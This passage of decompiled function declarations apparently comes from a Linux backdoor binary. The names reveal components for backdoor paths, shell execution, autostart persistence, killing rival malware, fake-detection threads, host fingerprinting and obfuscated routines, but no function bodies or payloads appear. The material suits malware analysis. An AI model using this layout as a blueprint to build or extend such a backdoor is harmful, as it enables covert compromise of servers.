CThreadSignaledMessageList_lt_CCmdMsg_gt__261(int32_t a1); void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(void); int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__262(int32_t a1); int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__263(int32_t a1); int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__264(int32_t a1); int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__265(int32_t a1, int32_t a2); int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl_266(int32_t ** a1, int32_t a2); int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__267(int32_t ** a1, int32_t a2); int32_t std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__268(int32_t ** a1, int32_t a2); int32_t CThreadMessageList_lt_CThreadConnection_gt__269(int32_t * a1); int32_t CThreadMessageList_lt_CThreadConnection_gt__270(int32_t * a1); int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt__271(int32_t a1); void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(void); int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__272(int32_t a1); int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__273(int32_t a1); int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__274(int32_t a1); int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__275(int32_t a1, int32_t a2); int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl_276(int32_t ** a1, int32_t a2); int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__277(int32_t ** a1, int32_t a2); int32_t std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__278(int32_t ** a1, int32_t a2); int32_t CThreadMessageList_lt_CThreadShell_gt__279(int32_t * a1); int32_t CThreadMessageList_lt_CThreadShell_gt__280(int32_t * a1); int32_t CThreadSignaledMessageList_lt_CThreadShell_gt__281(int32_t a1); int32_t __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt___max_size(void); int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, uint32_t a2); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_get_node(int32_t * a1); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_create_node(int32_t * a1, int32_t * a2); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(int32_t * a1, int32_t * a2, int32_t * a3, int32_t * a4, int32_t * a5); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert_unique(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert(int32_t * a1, int32_t * a2, int32_t * a3); int32_t CProtocolUtil__FillDnsHeader(struct struct_47 * a1, int32_t a2, int32_t a3); int32_t CProtocolUtil__FillDnsARequest(struct struct_47 * a1, int32_t * a2, int32_t * a3); int32_t CProtocolUtil__IsStrIPAddress(int32_t * a1); int32_t CProtocolUtil__AnalysisDnsAnswerers(struct struct_3 * a1, int32_t * a2); int32_t CProtocolUtil__GetDomainIPsSpecially(struct struct_3 * a1, int32_t * a2, int32_t * a3, int32_t a4); int32_t CProvinceDns__InitReadResource(struct struct_49 * a1); int32_t CStatBase__GetMemSize(struct _struct__IO_FILE * a1); int32_t CStatBase__GetLocalDeviceInfo(int32_t * a1, char * str); int32_t CStatBase__GetSysVersion(int32_t result); int32_t CStatBase__GetOs(struct _struct__IO_FILE * a1); int32_t CStatBase__GetLocalMac(int32_t a1, int32_t a2); int32_t CStatBase__GetNetBytes(struct _struct__IO_FILE * a1); int32_t CStatBase__InitNetUse(struct _struct__IO_FILE * a1); int32_t CStatBase__InitCpuUse(struct _struct__IO_FILE * a1); int32_t CStatBase__GetGateMac(int32_t a1); int32_t CStatBase__GetGateIp(int32_t a1); int32_t CStatBase__GetMacsIps(int32_t a1, int32_t a2); int32_t CStatBase__GetCpuSpd(struct _struct__IO_FILE * a1); int32_t CStatBase__GetLocalDevicesInfo(struct _struct__IO_FILE * a1); void CStatBase__Initialize(struct _struct__IO_FILE * a1); int32_t CMac(int32_t * a1); void CMac_338(void); int32_t CDevice(struct struct_3 * a1); int32_t CDevice_339(int32_t a1); void __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_CDevice_gt_(int32_t result); int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(int32_t * a1); void __gnu_cxx____mt_alloc_base_lt_CDevice_gt_(void); int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___destroy(int32_t a1); int32_t CDevice_341(int32_t result, int32_t a2); int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end(int32_t * a1, int32_t * a2); int32_t CDevice__operator_eq_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___max_size(void); int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(int32_t * a1); int32_t __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end_342(int32_t * a1, int32_t a2); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin_343(int32_t * a1, int32_t ** a2); int32_t __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx__operator_eq__eq__lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___empty(int32_t * a1); int32_t __gnu_cxx__operator__lt_CDevice_const__ptr__comma__CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___size(int32_t * a1); int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__344(int32_t a1); int32_t std__allocator_lt_CDevice_gt__345(int32_t a1, int32_t a2); int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(int32_t result, int32_t * a2); int32_t __gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__std__allocator_lt_CDevice_gt___gt_(int32_t * a1); int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3); int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___max_size(void); int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2); int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_allocate(int32_t * a1, int32_t * a2); int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CDevice__ptr__comma__CDevice__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std____copy_backward_aux_lt_CDevice__ptr__comma__CDevice__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std___Construct_lt_CDevice_comma__CDevice_gt_(int32_t * a1, int32_t * a2); int32_t std___Destroy_lt_CDevice_gt_(struct struct_3 * a1); int32_t std____destroy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(void); int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2); int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__CDevice_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t * a3); int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___push_back(int32_t * a1, int32_t * a2); int32_t CSysTool__GetUpdateTemporary(int32_t * a1); int32_t CSysTool__IsUpdateTemporary(int32_t a1); int32_t CSysTool__GetBackDoorPath(int32_t * a1); int32_t CSysTool__Mkdir(int32_t * a1); int32_t CSysTool__CloseAllFileDescs(void); int32_t CSysTool__CloseResources(void); int32_t CSysTool__RunLinuxShell(int32_t * a1); int32_t CSysTool__WritePid(char * path); int32_t CSysTool__MarkPid(char * path, char ** a2); int32_t CSysTool__IsPidExist(char * path); int32_t CSysTool__ReleaseGates(int32_t * a1, int32_t * a2); int32_t CSysTool__ReleaseAndStartGates(int32_t * a1); int32_t CSysTool__SetBeikongPathfile(void); int32_t CSysTool__GetBeikongPathfile(int32_t result); int32_t CSysTool__IsUnderBDDir(int32_t a1); int32_t CSysTool__GetBackDoorFile(int32_t * a1, int32_t a2, int32_t a3); int32_t CSysTool__CheckGatesType(int32_t a1); int32_t CSysTool__GetBackDoorLockFile(int32_t * a1, int32_t a2); int32_t CSysTool__GetSystoolPath(int32_t result); int32_t CSysTool__GetSystoolFile(int32_t * a1, char * a2, int32_t a3); int32_t CSysTool__HandleSystools(int32_t * a1); int32_t CSysTool__DoUpdate(int32_t a1, int32_t a2); int32_t CSysTool__Ikdfu94(void); int32_t CSysTool__Ower6msf(int32_t a1); int32_t CSysTool__ReadPid(char * path); int32_t CSysTool__KillPid(char * a1); int32_t CSysTool__KillGatesIfExist(void); int32_t CSysTool__KillChaos(int32_t a1); int32_t CIHNs5r__Udjf34(int32_t * a1, struct struct_1 * a2); int32_t CIHNs5r__Udjf34_354(struct struct_52 * a1, int32_t a2, int32_t a3); int32_t CIHNs5r__Udjf32(struct struct_1 * a1, int32_t * a2, struct struct_1 * a3); int32_t CIHNs5r__Udjf87(int32_t * a1, struct struct_1 * a2, int32_t * a3); int32_t CIHNs5r__Udjf87_355(struct struct_1 * a1, struct struct_1 * a2, uint32_t a3); int32_t CIHNs5r__Udjf31(int32_t * a1, struct struct_1 * a2, struct struct_1 * a3); int32_t CIHNs5r__Udjf31_356(int32_t * a1, int32_t * a2, struct struct_1 * a3); int32_t CIHNs5r__Udjf01(int32_t ** a1, struct struct_1 * a2, int32_t ** a3); int32_t CIHNs5r__Udjf69(int32_t ** a1, int32_t * a2, int32_t * a3, struct struct_1 * a4, int32_t * a5); int32_t Ytsd0(int32_t a1); int32_t Nh76f(int32_t result, struct struct_59 * a2); int32_t Mid89(struct struct_59 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5); int32_t UYT54(int32_t result); int32_t Uidi(int32_t result); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__357(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t a4); int32_t CThreadClientStatus_425(struct struct_3 * a1, int32_t result); int32_t CThreadConnection_429(struct struct_61 * a1, int32_t a2, int32_t a3, int32_t a4); int32_t CThreadConnection__CloseSocket(int32_t a1); int32_t CThreadFXConnection_433(struct struct_62 * a1, int32_t a2, int32_t a3); int32_t CThreadFXConnection__CloseSocket(int32_t a1); int32_t CThreadDoFun_437(int32_t * a1); int32_t CThreadFakeDetect_441(struct struct_63 * a1, int32_t a2); int32_t CThreadKillChaos_449(int32_t * a1); int32_t CThreadLoopCmd_453(struct struct_3 * a1, int32_t a2); int32_t CThreadMonGates_457(int32_t * a1, int32_t a2); int32_t CThreadRecycle_461(struct struct_3 * a1, int32_t result); int32_t CThreadShellRecycle_469(struct struct_3 * a1, int32_t result); int32_t CThreadTaskGates_473(struct struct_3 * a1, int32_t result); int32_t CAutoLock_492(struct struct_68 * a1, int32_t a2, uint32_t a3); int32_t CAutoLock__Unlock(struct struct_68 * a1); void CAutoLock_493(struct struct_68 * a1); int32_t CFileOp__ReadFile(int32_t ** a1, int32_t fd, char * buf, int32_t nbyte); int32_t CFileOp__CloseFile(int32_t fd); int32_t CFileOp__FileExists(char * path); int32_t CFileOp__OpenFile(int32_t ** a1, char * path, int32_t a3, int32_t a4); int32_t CFileOp__RemoveFile(char * file_path); int32_t CFileOp__C0pyFile(int32_t a1, int32_t a2); int32_t CFileOp__GetTgtFileSize(char * path); int32_t CFileOp__ModifyFile(char * path, int32_t * a2, int32_t * a3, int32_t a4, int32_t * a5); int32_t CIHNs5r(int32_t * a1); void CIHNs5r_500(void); int32_t CIHNs5r_501(int32_t * a1, struct struct_1 * a2); int32_t CIHNs5r__Udjf66(struct struct_1 * a1, struct struct_1 * a2); int32_t CIHNs5r__Udjf67(int32_t * a1, int32_t * a2, struct struct_1 * a3); int32_t CIHNs5r__Udjf68(struct struct_3 * a1, int32_t * a2, struct struct_1 * a3); int32_t CIHNs5r__Udjf32_505(int32_t * a1, int32_t * a2, int32_t a3); int32_t CIHNs5r__Udjf00(int32_t * a1, int32_t * a2, int32_t * a3); int32_t CIHNs5r__Udjf01_506(struct struct_1 * a1, int32_t a2); int32_t CMd5A____MD5Init(struct struct_75 * a1); int32_t CMd5A____MD5_memcpy(int32_t * a1, int32_t * a2, int32_t * a3); int32_t CMd5A____Encode(int32_t * a1, int32_t * a2, int32_t * a3); int32_t CMd5A____MD5_memset(int32_t * a1, int32_t * a2, int32_t * a3); int32_t CMd5A____Decode(int32_t * a1, int32_t * a2, uint32_t a3); int32_t CMd5A____MD5Transform(struct struct_45 * a1, struct struct_45 * a2); int32_t CMd5A____MD5Update(int32_t * a1, struct struct_45 * a2, struct struct_45 * a3); int32_t CMd5A____MD5Final(int32_t * a1, int32_t * a2); int32_t CMd5A__MDString(int32_t * a1, struct struct_45 * a2); int32_t CMedia_511(struct struct_3 * a1, int32_t a2, int32_t a3); void CMedia_513(void); int32_t CNetBase__GetSockName(int32_t sock); int32_t CNetBase__SetKeepAlive(int32_t sock); int32_t CNetBase__SendTo(int32_t sock, char * message, int32_t length, struct _sockaddr * a4, int32_t a5); int32_t CNetBase__RecvFrom(int32_t a1, int32_t a2, int32_t a3, int16_t a4, uint32_t a5); int32_t CNetBase__CreateSocket(int32_t a1); int32_t CNetBase__SetSendBufSize(int32_t sock); int32_t CNetBase__Bind(int32_t a1, int32_t a2); int32_t CNetBase__Listen(int32_t sock, int32_t backlog); int32_t CNetBase__Accept(int32_t sock, struct _sockaddr * addr, int32_t * addr_len); int32_t CNetBase__SetRecvTimeOut(int32_t sock, int32_t a2); int32_t CNetBase__Close(int32_t fd); int32_t CNetBase__WaitRecv(uint32_t a1, struct _sockaddr * a2); int32_t CNetBase__Accept_523(int32_t a1, struct _sockaddr * a2, int32_t * a3, struct _sockaddr * a4); void CThreadCondition_524(void); void CThreadCondition_526(void); int32_t CThreadCondition__InitCondition(int32_t a1); int32_t CThreadCondition__DestroyCondition(int32_t * mutex2); int32_t CThread(struct struct_78 * a1); int32_t CThread__StartThread(int32_t a1); void CThreadMutex_531(void); void CThreadMutex_533(void); int32_t CThreadMutex__InitMutex(int32_t a1); int32_t CThreadMutex__Lock(int32_t a1); int32_t CThreadMutex__Unlock(int32_t a1); int32_t CThreadMutex__DestroyMutex(int32_t * mutex); int32_t CUtility__Int2String(int32_t result, int32_t a2); int32_t CUtility__IsRoot(void); int32_t CUtility__EString(int32_t a1, int32_t a2, int32_t a3); int32_t CUtility__Sleep(int32_t * a1); int32_t CUtility__GetFileA(int32_t * a1, int32_t a2, int32_t a3); int32_t CUtility__GetPathA(char * a1, int32_t a2, char * a3); int32_t CUtility__GetParentPath(int32_t result); int32_t CUtility__GetTickCount(void); int32_t CUtility__GetDoFun(struct struct_45 * a1, struct struct_45 * a2); int32_t CUtility__IntDe(int32_t a1); int32_t CDjfl87__QQifu1(int32_t a1); int32_t CDjfl87__QQifu2(int32_t a1); int32_t CDjfl87__QQifu3(int32_t result, int32_t * a2, int32_t a3); int32_t CDjfl87__QQifu4(struct struct_59 * a1, int32_t * a2, int32_t * a3, int32_t a4); int32_t CDjfl87__QQifu5(int32_t result, int32_t a2, int32_t a3); int32_t CDjfl87__QQifu6(struct struct_59 * a1, struct struct_59 * a2, int32_t a3); int32_t CUtility__Split(struct struct_3 * a1, char * a2, int32_t a3); int32_t CUtility__Split_541(char * a1, int32_t a2, int32_t * a3); int32_t CUtility__GetModuleFullPath(int32_t * a1); int32_t CUtility__SetAutoStart(char * a1, int32_t * a2, int32_t a3); int32_t CUtility__GetCurrentPathFile(int32_t * a1, char * a2); int32_t CUtility__GetCurrentPathFile_542(int32_t * a1); int32_t __pthread_create_2_1(int32_t a1); int32_t __pthread_attr_init_2_1(int32_t a1); int32_t __pthread_mutex_lock_internal(struct struct_3 * a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t __pthread_mutex_unlock_usercnt(int32_t a1, int32_t a2); int32_t __pthread_mutex_unlock_internal(struct struct_45 * a1); int32_t __pthread_cond_init(struct struct_82 * a1, char * a2); int32_t __pthread_unwind(int32_t a1); int32_t __pthread_enable_asynccancel(void); int32_t __pthread_disable_asynccancel(int32_t a1, int32_t a2); int32_t __lll_mutex_lock_wait(int32_t a1, int32_t a2); int32_t __lll_mutex_unlock_wake(int32_t a1); void __libc_write(void); int32_t __write_nocancel(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4); int32_t __libc_recvfrom(int32_t a1); int32_t __libc_lseek(int32_t a1, int32_t a2, int32_t a3); int32_t __gnu_cxx____pool_lt_true_gt____M_reserve_block(struct struct_88 * a1, int32_t a2, int32_t a3); int32_t __gnu_cxx____pool_lt_true_gt____M_get_thread_id(int32_t * a1); int32_t __gnu_cxx____pool_lt_true_gt____M_reclaim_block(struct struct_91 * a1, int32_t ** a2, struct struct_88 * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8); void std__length_error(void); int32_t std____throw_bad_alloc(void); int32_t std____throw_logic_error(char * a1, int32_t a2, int32_t a3, int32_t a4); int32_t std____throw_length_error(char * a1, int32_t a2, int32_t a3, int32_t a4); int32_t std____throw_out_of_range(char * a1, int32_t a2); int32_t std__logic_error(int32_t * a1, int32_t a2); int32_t std__logic_error_568(int32_t * a1, int32_t a2); int32_t std__out_of_range_570(int32_t * a1, int32_t a2); int32_t std__length_error_572(int32_t * a1, int32_t a2); void std__logic_error_578(void); int32_t std___Rb_tree_increment(int32_t a1); int32_t std___Rb_tree_increment_590(void); int32_t std___Rb_tree_decrement(struct struct_94 * a1, int32_t a2, int32_t a3); int32_t std___Rb_tree_rotate_left(int32_t * a1, int32_t ** a2, int32_t * a3, int32_t * a4); int32_t std___Rb_tree_rotate_right(int32_t * a1, int32_t ** a2, int32_t * a3, int32_t * a4); int32_t std___Rb_tree_insert_and_rebalance(int32_t ** a1, struct struct_96 * a2, int32_t * a3, struct struct_94 * a4); void std__allocator_lt_char_gt_(void); void std__allocator_lt_char_gt__593(void); int32_t std__allocator_lt_char_gt__596(int32_t a1); int32_t std__allocator_lt_char_gt__598(int32_t a1); int32_t std__allocator_lt_char_gt__599(int32_t a1); void std__char_traits_lt_char_gt___eq(void); int32_t _ZSt6searchIPKcS1_PFbRS0_S2_EET_S5_S5_T0_S6_T1_(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t * a10, int32_t a11, int32_t a12); int32_t std__string__c_str(int32_t * a1); int32_t std__string__size(int32_t * a1); int32_t std__string__length(int32_t * a1); int32_t std__string__empty(int32_t * a1); int32_t std__string__find(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9); int32_t std__string__rfind(int32_t * a1, char a2, int32_t a3, int32_t a4); int32_t std__string__compare(int32_t * a1, int32_t * a2); int32_t std__string__find_616(int32_t a1, int32_t a2, int32_t a3); int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(int32_t * a1); int32_t std__string___Rep___S_create(int32_t * a1, int32_t * a2); int32_t std__string___Rep___M_clone(struct struct_98 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7); int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(int32_t * a1, int32_t * a2); int32_t std__string___Rep___M_destroy(int32_t * a1); int32_t std__string___S_construct_lt_char__ptr__gt_(char * a1, char * a2, int32_t * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8); int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__640(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9); int32_t std__string__substr(int32_t a1, int32_t * a2, uint32_t a3, int32_t a4); int32_t std__string___M_mutate(int32_t ** a1, int32_t ** a2, int32_t a3, int32_t a4); int32_t std__string___M_replace_safe(int32_t * a1, int32_t ** a2, int32_t a3, char * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10); int32_t std__string__assign(int32_t ** a1, char * a2, char * a3); int32_t std__string__operator_eq_(int32_t ** a1, char * str); int32_t std__string___M_replace_aux(int32_t * a1, int32_t ** a2, int32_t a3, uint32_t a4, unsigned char a5, int32_t a6, int32_t * a7, int32_t a8, int32_t * a9, int32_t ** a10); int32_t std__string__insert_649(int32_t * a1, int32_t ** a2, int32_t a3, char a4); int32_t std__string__operator_eq__651(int32_t * a1, int32_t ** a2); int32_t std__string___M_leak_hard(int32_t * a1); int32_t std__string__operator_lsb__rsb__663(int32_t * a1, int32_t a2); int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666(int32_t ** a1); int32_t std__string__reserve(int32_t ** a1, int32_t * a2); int32_t std__string__append(int32_t * a1, int32_t a2, char a3); int32_t std__string__append_668(int32_t * a1, uint32_t a2, uint32_t a3); int32_t std__string__append_669(int32_t * a1, int32_t a2); int32_t std__string__append_671(int32_t * a1, int32_t * a2); void std__string__operator_eq__675(void); int32_t std__string___S_construct_lt_char_const__ptr__gt_(char * a1, char * a2, struct struct_97 * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8); int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7); int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6); int32_t __gnu_cxx____exchange_and_add(int32_t * a1, int32_t a2); int32_t __gnu_cxx____atomic_add(int32_t * a1, int32_t a2); int32_t _ZdlPv(int32_t * a1); int32_t __i686_get_pc_thunk_bx(void); int32_t __cxa_allocate_exception(int32_t * a1, int32_t a2); int32_t __i686_get_pc_thunk_cx(void); int32_t __cxa_begin_catch(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6); int32_t __cxa_end_catch(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t * a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10); int32_t __cxa_get_globals_fast(void); int32_t get_globals_init_once(int32_t a1, int32_t a2, int32_t a3); int32_t __cxa_get_globals(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5); int32_t base_of_encoded_value(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6); int32_t read_uleb128(int32_t * a1); int32_t read_encoded_value_with_base(int32_t * a1, int32_t * a2, int32_t * a3, int32_t a4); int32_t parse_lsda_header(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7); int32_t get_ttype_entry(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6); int32_t get_adjusted_ptr(struct struct_103 * a1, int32_t a2); int32_t check_exception_spec(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8); int32_t __cxa_call_unexpected(int32_t * a1, int32_t a2, int32_t a3); int32_t _ZN10__cxxabiv111__terminateEPFvvE(int32_t * a1, int32_t a2, int32_t a3); int32_t std__terminate(int32_t a1); int32_t _ZN10__cxxabiv112__unexpectedEPFvvE(int32_t a1, int32_t a2); int32_t __cxa_throw(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5); int32_t __cxa_rethrow(int32_t a1, int32_t a2, int32_t a3); int32_t __cxxabiv1__acquire_1(int32_t a1, 